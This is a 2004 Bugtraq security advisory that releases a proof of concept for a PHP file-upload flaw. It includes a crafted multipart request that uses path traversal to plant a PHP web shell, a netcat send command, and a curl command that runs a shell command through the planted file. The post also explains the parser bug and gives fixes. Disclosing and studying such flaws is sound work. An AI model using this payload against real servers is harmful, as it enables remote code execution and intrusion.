Date: Wed, 29 Sep 2004 19:15:51 +0200
From: Stefano Di Paola <stefano.dipaola@...ec.it>
To: Bugtraq <bugtraq@...urityfocus.com>
Subject: Php RFC1867 Upload Vuln. POC Released


Hi all,
Php 4.3.9 and 5.0.2 have been released with the patch for this
vulnerability, so I've decided to release the POC for this vuln.

==PHP File Upload Vulnerability POC

==Title:            Overwrite $_FILE array in rfc1867 - Mime
                    multipart/form-data File Upload 
Author:             Stefano Di Paola 
Affected:           Php <= 5.0.1 
Not Affected: Maybe some old Version of Php before 4.2.x 
Vulnerability Type: Possible write of a downloaded file in an arbitrary
                    location. 

==Description:

By forging an appropriate request for a Mime multipart/form-data file it
is possible to set the "name" element value to an arbitrary filename if
the name of $_FILES element contains a '_' (underscore) like "user_file"

Let's use Example 34-2. Validating file uploads (changing 'userfile' to
'user_file') from http://www.php.net/manual/en/features.file-upload.php:
 -----file: upload.php------
 <?php
 // In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
 instead
 // of $_FILES.

 $uploaddir = '/var/www/uploads/';
 $uploadfile = $uploaddir . $_FILES['user_file']['name'];

 print "<pre>";
 if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
    print "File is valid, and was successfully uploaded. ";
    print "Here's some more debugging info:\n";
    print_r($_FILES);
 } else {
    print "Possible file upload attack!  Here's some debugging info:\n";
    print_r($_FILES);
 }
 print "</pre>";

 ?>
 ----end file: upload.php------

N.B. The is_uploaded_file php function has been added to proof that this
check is bypassable.

Let's suppose that /var/www/html/ is writable by apache user (or any
other dir in apache root).

$: (cat form)|nc 127.0.0.1 80 

 <pre>
 File is valid, and was successfully uploaded.
 Here's some more debugging info:

 Array(
         [user_file] =>Array(
                               [name] =>  ../html/passt.php
                               [tmp_name] => /tmp/phpucjLV1
                               [error] => 0
                               [size] => 30
                               [type] => application/octet-stream
                           )
         )
</pre>
where form is:

 -----8<---form-------8<-----
 POST /upload.php HTTP/1.1
 Host: 127.0.0.1
 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
 Gecko/20040115 Galeon/1.3.12
 Accept:
 text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en
 Accept-Encoding: gzip, deflate, compress;q=0.9
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
 Keep-Alive: 300
 Connection: keep-alive
 Referer:
 Content-Type: multipart/form-data;
 boundary=---------------------------1648318426118446961720965026
 Content-Length: 395

 -----------------------------1648318426118446961720965026
 Content-Disposition: form-data; name="user[file[name]123";
 filename="p.php"
 Content-Type: ../html/passt.php

 <?
 passthru($_GET['cm']);
 ?>

 -----------------------------1648318426118446961720965026
 Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
 Content-Type: application/octet-stream

 <?
 passthru($_GET['cm']);
 ?>


 -----8<---endform----8<-----
By looking closely our request it can be noted that the name of uploaded
file is going to be valued by 'Content-Type: ../html/passt.php' and not
by filename='p.php'.

Second section is injected just to make things more 'normal', by
allowing php interpreter to instanziate 'type' element, but it's just a
matter of style... 

And then let's verify that all went right:

 $: curl "127.0.0.1/passt.php?cm=id"
 uid=72(apache) gid=72(apache) groups=72(apache)
Done!

==The Issue

This vulnerability permits to bypass the sanitization php interpreter
does on filename to remove prepended directories. So if the developer of
a upload php script trust in php pre sanitization of input, a malicious
user could use this flaw to upload a file in an arbitrary location. The
issue is in the fact that, as can be seen in request, by playing with
sqare brackets and by appending some non ']' at the end of the 'name'
variable value, a malicious user can fool the array parser embedded in
php interpreter, resulting in a different array from the expected one.

I won't go too deep in details on why this was possible (it's just a
matter of debugging), but it should be enough to know that the parameter
'name' value in request ('user[file[element]123') is parsed firstly as a
simple String type by SAPI_POST_HANDLER_FUNC (is_arr_upload = 0) and
then parameter is parsed again by php_register_variable and seen as an
array. 
This flaw creates a incongruence in the type of the variable, that can
be used to exploit the php upload script. 

==Additional Topics

By playing with arrays of arrays and open square brackets I did a lot of
thing but the *big* thing is this one. 

==The Solution

The most simple solution consists in downloading and installing php
5.0.2 or 4.3.9 that have been released a couple of days ago. 

An alternative solution is to check if $_FILES[]['name'] is really a
stripped filename by using something like this:
$filename=basename($_FILES[]['name']);



Regards,

Stefano


.......----=oOOo=----=oOOo=-----.......

Stefano Di Paola
Software Engineer

Email: stefano.dipaola_at_wisec_dot_it
Email: stefano.dipaola1_at_tin_dot_it

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